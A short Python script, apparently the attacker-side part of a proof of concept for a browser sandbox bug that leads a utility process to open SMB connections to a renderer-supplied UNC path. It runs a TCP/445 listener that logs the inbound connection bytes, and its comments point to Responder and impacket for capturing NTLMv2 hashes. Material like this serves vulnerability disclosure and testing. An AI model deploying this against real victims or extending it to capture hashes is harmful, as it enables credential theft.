#!/usr/bin/env python3
# Minimal TCP/445 listener that proves the kNoSandbox utility process
# initiated an outbound SMB connection on behalf of the renderer-supplied
# UNC path. For full NTLMv2 challenge-response capture, use Responder or
# impacket-smbserver instead.
#
# Usage (on attacker host, as root / Administrator):
#   python3 smb_listener.py
#
# Expected: when the POC extension call fires on the victim, this prints
# the inbound connection and the SMB Negotiate Protocol Request bytes.

import socket, sys, datetime

HOST, PORT = '0.0.0.0', 445

def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    try:
        s.bind((HOST, PORT))
    except PermissionError:
        sys.exit('[-] need root/Administrator to bind 445')
    s.listen(5)
    print(f'[+] listening on {HOST}:{PORT} — waiting for SMB redirector')
    while True:
        c, addr = s.accept()
        ts = datetime.datetime.now().isoformat(timespec='seconds')
        print(f'[!] {ts} inbound SMB connection from {addr[0]}:{addr[1]}')
        try:
            data = c.recv(4096)
            print(f'    {len(data)} bytes: {data[:64].hex()}...')
        except Exception as e:
            print(f'    recv error: {e}')
        c.close()

if __name__ == '__main__':
    main()